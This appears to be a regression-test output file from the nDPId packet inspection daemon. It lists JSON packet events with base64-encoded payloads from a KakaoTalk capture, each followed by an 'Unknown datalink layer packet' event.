+00590{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2552,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069207,"pkt_ts_usec":442176,"pkt_caplen":212,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":212,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAMQAAEAAPxHa3goYUrwByQGuLDhaBACwj0qAbFESi0KE2guGVRlyRRbinmyhITujoN9JakdKDiXRVm60pdEgSfP\/CJRR9P\/5c1HSwKOpIs3BNFeENpl8uETdrvinBQE09sv69VzWKeE1DbQlj2rqmq5zjhSPrF1X34bDoNIcVsakZ913vUyI7NxK+BEvCFGOeSIseqoMme828BVi1tXeyIY4PWMOEjfCW3GHZF6UYx+grGXV2Jdwlajhrfmvosd0k6g="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2552,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00607{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2553,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069207,"pkt_ts_usec":443213,"pkt_caplen":224,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":224,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoANAAAEAAHBH9qgHJAa4KGFK8WgYoHAC8tSyAbFEJi0JjGguGVRmG2xMk5GmPe53BOPvwupzgQbDJOdRBDvwrFMNChhRT24POX6Xeya7RGHylA4Dsu0Dp2zyfW6RrIXl4wslJR\/o+udVfH\/mVtNKwm8pIGRS5R7iugLFJYF5gBArQd0DjoZh10MKHZlBevNEMXAyfdbsyw1k\/e1tAvHHCKLwappMhxDWVQzy3pHc1cDTXKwrlevdjlSyqNuDeG2fmsVQ2ZW0K7PhYfDylWgk="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2553,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00482{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2554,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069207,"pkt_ts_usec":447608,"pkt_caplen":130,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":130,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHIAAEAAQBHaMAoYUrwByQGuKBxaBgBe+TWAbDOXfrHiw1Sapdr6cw3lMk667z7\/Vs4Ah84DZ3CtMSf5ZB++GRG79TWhH\/+9ZUqzWUHbdKFMMyji+ym3hJ49UrOyznptH6j4qTIAEyahQvZLDWObkg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2554,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00572{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2555,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069207,"pkt_ts_usec":459143,"pkt_caplen":201,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":201,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoALkAAEAAHRH8wQHJAa4KGFK8WgQsOAClJGWAbDOQfrHIg1SapdqTaIpJhHXK75Cjo5yZH2wSv9OXYoLMH74CLYyGRjRtNQ+eGmRpe9jrv3qSZ1BcQOCCLFK9fG6zkuzkZx1wfFOWBWncHbDIJWeMLgZEWVv6VKbikfjSNEg+NDthvGlMTtVZPCzGad5tBkKgLuwK2DHvZ3SqoI1VyUmAoYn8veNjg5MQ1+KXPIU0OT7ypn1h9j6p"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2555,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00553{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2556,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069207,"pkt_ts_usec":470465,"pkt_caplen":186,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":186,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAKoAAEAAHBH90AHJAa4KGFK8WgYoHACWGSKAbFEKi0Jm2guGVRmHzbXSXx0XwlR9rxVInWmMvcZOnkWREngHnTQ3RuGKO9wQun4r9xQG2fcScsbC2y99PaBlTBzo90jgt+57KlENHKrPJpEy781A8vjVtRh+XLJqvoEvnFelwSEbqPDZUnaJC80Ud+xtKDbIBdT\/9yNub8vqJDFyuBatFaGmWQ8D8gH3"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2556,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00592{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2557,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069207,"pkt_ts_usec":488745,"pkt_caplen":212,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":212,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAMQAAEAAHBH9tgHJAa4KGFK8WgYoHACw+myAbFELi0JqmguGVRm+oMq\/9ZU3fAvoExSOz1KhRGn341B+AJF8eo8J0jaVgKUOjfBuLHuQrU6VGXarQ5inxj7WOpPP5UmzOIQ3hYdORnHW91x\/XiEKnLJIQ\/aR+JMhrP9wBjXoZtMNEotPCu91k7P1HT\/bCpWlHnYK9OyXLO4F2znEGVb3Kom95ezFZX7mmiP7igPyLbfLXTXmJ7uZgGMFwbLQ4UU72IA="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2557,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00561{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2558,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069207,"pkt_ts_usec":499213,"pkt_caplen":188,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":188,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAKwAAEAAHRH8zgHJAa4KGFK8WgQsOACYxBiAbDORfrHMQ1SapdpBdf5FAi\/lGM+HkD1RV+wOBoYN+cEEXqJiHfz\/aj+vKaR2GszSRmmc8et1GsO5ehrhezaBn+rNi+7n\/UHFgj8gfze6K4EjnV1tsitenIIbusmG0B8\/q9cNwZN1JUFlkw4OLlv1473D4UB\/uQq4ZeWAp3xHoG31leHb5TJs2XtbY+vjo54="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2558,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00499{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2559,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069207,"pkt_ts_usec":505500,"pkt_caplen":143,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":143,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAH8AAEAAQBHaIwoYUrwByQGuKBxaBgBrRuKAbDOYfrHmg1Sapdp3mPjHQXcMEa0TnooOdapQBkt7YklnXh\/yNb2zEtPRlkhuFwp17L8SIGB3C8FIY9\/j7u2RS4IdowohddPXifrN6sY\/eHZZGmCDia7b3Q81YvusHgSCxcg="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2559,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00539{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2560,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069207,"pkt_ts_usec":507331,"pkt_caplen":172,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":172,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAJwAAEAAHRH83gHJAa4KGFK8WgQsOACIbMeAbDOSfrHQA1Sapdrx72Jw9dFeai\/oCQs7Y30t8IEvzm1I9PE0pBD7mQD9LnzkMjS6kEHA\/KzVqyrHWZ0hkHVoVkSC+bXW0UMed3bMxXNSQJmOKjPQx2QyEfA1fP8DSuyoMzU5PM43ZjthRH9rOMIodUC\/bHRWWhcmjlQZW9Ws6Q=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2560,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00584{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2561,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069207,"pkt_ts_usec":536566,"pkt_caplen":205,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":205,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAL0AAEAAPxHa5QoYUrwByQGuLDhaBACp62SAbFETi0KImguGVRlQtZ\/843fYhK2HbZ1jmym1hCw5HXWVEvmm5T6YA0els3DZMS+fIzAaGoJu9Ye+FLbBl86dQZyK8eyuR5gnQ3qC8qyHSuqW7C7M5w\/13RxBDY7GKa6mr7zvbbiK8LeOcWrO9YblUzeMPDANhwts1PJ7uzPLfZzczJDJok14\/\/rbKvRaEVy5ifRiduUdfIn6pvwLallCXg=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2561,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00587{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2562,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069207,"pkt_ts_usec":543189,"pkt_caplen":208,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":208,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAMAAAEAAHBH9ugHJAa4KGFK8WgYoHACsSzqAbFEMi0JuWguGVRkKNfcZicImodKUCsPK+lqnuKycrjuMJaZuYbBvgNWi9k1+c1wG9f4FSZRBJNzmXYzTqAG701YxCvRKH3A2mVGNoJd9eDkmjq7+Qz90+YHsIHftdGMOXY9279x6y0Lfka79ZKyg3Rj3+Tu3lgaFLvUeZy\/stlewto6bxriOUfm6VZv0s++bq3nhmKig6S360\/MtIoHd\/zZHCQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2562,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00499{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2563,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069207,"pkt_ts_usec":544226,"pkt_caplen":143,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":143,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAH8AAEAAQBHaIwoYUrwByQGuKBxaBgBr0quAbDOZfrHqQ1Sapdq0xHt5Ak2DEB7obGkXKeea9EdNjkgFmzhSEBJ02oGdcFva4JMzxaL7V2NZUT20M6lDUmE+lh106BKYBFMK\/WJTFwzd\/2sn0qHI4vFsW6lFu\/L9IR0dmsg="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2563,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00557{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2564,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069207,"pkt_ts_usec":548590,"pkt_caplen":189,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":189,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAK0AAEAAHBH9zQHJAa4KGFK8WgYoHACZXL2AbFENi0JyGguGVRnHAsvmWNBOTC34Dufv1BeWnM4eRwYu4Uu1kX5PqF3AXGjfsx6m8FAMN2TKmPkKWQdhkKkrfPFxXrazGJK2m0JdyFJqtWKToWZNfHMQIDGG3tUlue0BqqkkjsEutrrw+BOhKPzFW8tT5cPE8OBujDYZqXnDAEuGOZhrllbxbKktgArYaD\/5"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2564,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00514{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2565,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069207,"pkt_ts_usec":559241,"pkt_caplen":155,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":155,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAIsAAEAAHRH87wHJAa4KGFK8WgQsOAB3mnyAbDOTfrHTw1SapdpLnFm7nhgDWBKMSZFEEubFvUuYZ31EsL\/uLUsQlIuLuVbtxMh2MKVDXt9kzd6L8ZychPKpdk97NXYfYptBB\/VL2G3yHz3bclhfjLDGgASOTEYGTD0LRvEElKb0L2f3JwxHifA="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2565,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00485{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2566,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069207,"pkt_ts_usec":585059,"pkt_caplen":135,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":135,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAHcAAEAAQBHaKwoYUrwByQGuKBxaBgBj7oKAbDOafrHuA1SapdoQckiWCh9YDMkpQfGjfdw6At6F1O4CMyg\/QhGRE8oj9BVWNufBXGvPL4OlDKZcgU0Iuc3rVFoQtxL4JAK3RMLCarz7ji2uqrhju4oCeMST"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2566,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00492{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2567,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069207,"pkt_ts_usec":595343,"pkt_caplen":137,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":137,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAHkAAEAAHRH9AQHJAa4KGFK8WgQsOABlIzuAbDOUfrHXg1Sapdq\/+kHvxxrftZXWAFo3dyHYMshELR6dk1kmJhwjjV\/HtqlWQpTg78SI5AvIosrKMvH+QFUNLeBeVAqSuYky3IFV+5\/Lv6cbt5wvaKqDR\/wdkZ8="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2567,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00541{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2568,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069207,"pkt_ts_usec":596015,"pkt_caplen":177,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":177,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAKEAAEAAHBH92QHJAa4KGFK8WgYoHACN6C6AbFEOi0J12guGVRlptj6C47q42A0lEUxdJNhr+cGAiaIC\/AKAWqtPDZ9mT3pTYPUoGipPE2RyHgzMNsOVeRuGs+Fa8GSbgdLej3Wr8OxaoRZqfgq5k6JPhIvhAQJ7PjvwRyF2FEy6bhjOOliZiUlrMDUNE9MnwlFnvv6H3BrdgX3uCrlL"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2568,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00524{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2569,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069207,"pkt_ts_usec":599189,"pkt_caplen":165,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":165,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAJUAAEAAHRH85QHJAa4KGFK8WgQsOACBnrqAbDOVfrHbQ1SapdrVjpnP0wKJ3KDpeq8lbPc92vZ+TWtGFQHWd1I+Ws4XejwhCOF5rVupzl8POfsc0cfIf1J0wXaPYsBTC+xkKYjKYt6Wcf9gMQ5QEXGxvPhzQ9YyN+5aBFNZi1L0cCEJcgbBHqjBOTqRH8J3GpkT"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2569,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00519{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2570,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069207,"pkt_ts_usec":611273,"pkt_caplen":158,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":158,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAI4AAEAAHBH97AHJAa4KGFK8WgYoHAB64gqAbFEPi0J5mguGVRmK+cOCCbH859vi4c9Di\/eY87gu6mpdlyeK2lJEEu9d\/Xujo7UzBGApQFzxINyEVLU9bMNjp05TXyJ5L+MaHL8HOPHCg\/Hlm8fD5XKgB8+toaOV0NfFENFq0sZnJHOCds3DP+IwvX8="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2570,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00473{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2571,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069207,"pkt_ts_usec":633795,"pkt_caplen":126,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":126,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAG4AAEAAPxHbNAoYUrwByQGuLDhaBABaiUCAbFEUi0KMWguGVRlvDr6E4m8JihHGHjSLAIR3fHnS1fRoQ8a2zbszH\/tG2dJfUP0+SIOSeoxj7vQSRktQUcHf4UUGzqlN6PfVQCOGxdnyA1Eh"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2571,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00452{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2572,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069207,"pkt_ts_usec":640418,"pkt_caplen":109,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":109,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAF0AAEAAPxHbRQoYUrwByQGuLDhaBABJUx2AbFEVi0KQGguGVRkK3PYXSaOXyPp3zzMAdKlByOpbmx0YbqsYCtTOTZN4dtRs9Wqp4SkdhDkg5qlwAJUGMd4d7w=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2572,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00607{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2573,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069207,"pkt_ts_usec":645392,"pkt_caplen":223,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":223,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAM8AAEAAHBH9qwHJAa4KGFK8WgYoHAC7fH2AbFEQi0J9WguGVRlMtv7kFuNJERUUHNHDMxspiFITKgHN8uV5vjiPqUJY\/DCUWttRlqzps9yQOCs8uxntI91Qbc8N0dr6WLQlWhwo8e56jZaM6nPdD0bhP3DjkzkzXTv41EMyr9BdCTn2pzaSfJzDSeZnRUL4IJ7Ude65YtxsGjDOHRSk\/OXcflbczk13kIquP9NkF222jW5TQHcLhfIh6DmxD16wSzG2HwZ5yDhy8eGp\/w=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2573,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00464{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2574,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069207,"pkt_ts_usec":683814,"pkt_caplen":118,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":118,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAGYAAEAAQBHaPAoYUrwByQGuKBxaBgBSU9mAbDObfrHxw1SapdrnEG0wHGhImckWVo+caYuPReB8fd2G4v8oG5twxcP4g4nL3cDaYluFtFiVRDI5vtHBHf5zIgTPZ80Nm6mypQ=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2574,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00515{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2575,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069207,"pkt_ts_usec":687903,"pkt_caplen":154,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":154,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAIoAAEAAHRH88AHJAa4KGFK8WgQsOAB2PI+AbDOWfrHfA1Sapdp7opMnMlg6aKYNHfum5YuHt3Ms3VdsGvUFij4xEdIKXjQIxe9\/x8F4GSL9ToKrHIK8ZMSZC7DrSagEDAhKtvaHHfyj\/wlBJ5zNpAnT0o7jl728s2xKQ\/cysA3GXiQsUHAq5g=="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2575,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2576,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069207,"pkt_ts_usec":724372,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/KxyAbDOcfrH1g1SapdodUmZZ5tSz8rtDOoQjvB7p14B9F5lx2oOai5pHQaO4bnd5kFjKV2DbNdsY"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2576,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00453{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2577,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069207,"pkt_ts_usec":730231,"pkt_caplen":110,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":110,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAF4AAEAAPxHbRAoYUrwByQGuLDhaBABKuY2AbFEWi0KT2guGVRlfCWE+YAj\/ZMCrjeYHyIJB8wxrdszT5fNOoFBsd5PJVXSIiJGyvvMl0NQcRHCWD0vElOBVb5A="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2577,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00522{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2578,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069207,"pkt_ts_usec":732032,"pkt_caplen":161,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":161,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAJEAAEAAPxHbEQoYUrwByQGuLDhaBAB9Xe2AbFEXi0KXmguGVRkkH3IZS48+GZwdy+ApT0ziPGqJ+OpOER+Y0iG\/0\/ET9dXo8USC6+ILBEYSfrLeqyU7cgxF4z0AtvqkN0IqJr7CijKHZRst9TzUAPITZ6LRLgOOtbzHymy73jckeYcEHvcra9a2tBh7GzM="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2578,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00617{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2579,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069207,"pkt_ts_usec":744788,"pkt_caplen":230,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":230,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoANYAAEAAHBH9pAHJAa4KGFK8WgYoHADCFVmAbFERi0KBGguGVRlo5OJPBxs2VZLpofB4wWN0IlSxDsak7K7s+7XZwPeGuL3wx6eGUwx2RpZkQFRAMGYhHucQD7THtD7f7iIwIifhEvN6HnxnnmJAMqCrJwxhj2yjvO+ilhPjAhSznYoRxTdT2ckUjJDKvwnjYyRIwoOl8\/\/66\/5enTRze6\/\/JYRMPokjBTLglrXXuW7t2ibzXxhkfuYQ5itUiapX1lbdDqr5tWBmutIi5qMz2uL+gSQ="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2579,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00590{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2580,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069207,"pkt_ts_usec":759284,"pkt_caplen":212,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":212,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAMQAAEAAHBH9tgHJAa4KGFK8WgYoHACwk2SAbFESi0KE2guGVRlyRRbinmyhITujoN9JakdKDiXRVm60pdEgSfP\/CJRR9P\/5c1HSwKOpIs3BNFeENpl8uETdrvinBQE09sv69VzWKeE1DbQlj2rqmq5zjhSPrF1X34bDoNIcVsakZ913vUyI7NxK+BEvCFGOeSIseqoMme828BVi1tXeyIY4PWMOEjfCW3GHZF6UYx+grGXV2Jdwlajhrfmvosd0k6g="} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2580,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00435{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2581,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069207,"pkt_ts_usec":765174,"pkt_caplen":99,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":99,"pkt_l4_len":0,"pkt":"AAQCEgAAAAAAAAAAAAAIAEUAAFMAAEAAQBHaTwoYUrwByQGuKBxaBgA\/EJOAbDOdfrH5Q1SapdoQHzwW24RXleKbwZbzZ8x1K4k6AJUY3Z1EDfULjXYluGd9idykee71C0qu"} +00170{"basic_event_id":1,"basic_event_name":"Unknown datalink layer packet","thread_id":0,"packet_id":2581,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","datalink":113} +00482{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2582,"source":"KakaoTalk_talk.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1430069207,"pkt_ts_usec":779212,"pkt_caplen":130,"pkt_type":0,"pkt_l3_offset":0,"pkt_l4_offset":0,"pkt_len":130,"pkt_l4_len":0,"pkt":"AAACEgAAAAAAAAAAAAAIAEUoAHIAAEAAHRH9CAHJAa4KGFK8WgQsOABe9RuAbDOXfrHiw1Sapdr6cw3lMk667z7\/Vs4Ah84DZ3CtMSf5ZB++GRG79TWhH\/+9ZUqzWUHbdKFMMyji+ym3hJ49UrOyznptH6j4qTIAEyahQvZLDWObkg=="} 